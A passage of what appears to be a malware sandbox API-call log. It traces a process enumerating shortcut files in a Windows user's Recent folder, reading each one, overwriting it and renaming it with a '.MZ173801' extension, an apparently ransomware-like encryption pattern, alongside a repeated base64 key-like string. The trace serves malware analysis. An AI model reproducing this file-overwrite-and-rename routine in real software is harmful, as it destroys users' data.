lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xa00, lpOverlapped=0x0) returned 1 [0121.468] CloseHandle (hObject=0x288) returned 1 [0121.469] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jjAVl.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jjavl.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.470] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xa00, lpOverlapped=0x0) returned 1 [0121.471] CloseHandle (hObject=0x288) returned 1 [0121.473] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jjAVl.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jjavl.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jjAVl.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jjavl.lnk.mz173801")) returned 1 [0121.474] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf5d16e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf5d16e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf5d16e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf6b, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="jNKEP2BOP3Vd KvJnfp.lnk", cAlternateFileName="JNKEP2~1.LNK")) returned 1 [0121.474] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.474] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.474] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jNKEP2BOP3Vd KvJnfp.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jnkep2bop3vd kvjnfp.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf5d16e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf5d16e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf5d16e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf6b)) returned 1 [0121.476] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.476] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.478] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jNKEP2BOP3Vd KvJnfp.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jnkep2bop3vd kvjnfp.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.478] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.478] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.478] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xf6b [0121.478] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.479] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xf6b, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xf6b, lpOverlapped=0x0) returned 1 [0121.479] CloseHandle (hObject=0x288) returned 1 [0121.480] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jNKEP2BOP3Vd KvJnfp.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jnkep2bop3vd kvjnfp.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.481] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xf6b, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xf6b, lpOverlapped=0x0) returned 1 [0121.482] CloseHandle (hObject=0x288) returned 1 [0121.483] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jNKEP2BOP3Vd KvJnfp.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jnkep2bop3vd kvjnfp.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jNKEP2BOP3Vd KvJnfp.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jnkep2bop3vd kvjnfp.lnk.mz173801")) returned 1 [0121.485] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde8479c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde8479c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde8479c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1a2b, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="jS6DiLz01 X90l.lnk", cAlternateFileName="JS6DIL~1.LNK")) returned 1 [0121.486] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.486] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.486] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jS6DiLz01 X90l.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\js6dilz01 x90l.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde8479c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde8479c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde8479c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1a2b)) returned 1 [0121.488] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.488] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.489] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jS6DiLz01 X90l.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\js6dilz01 x90l.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.490] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.490] SetFilePointer (in: hFile=0x288, 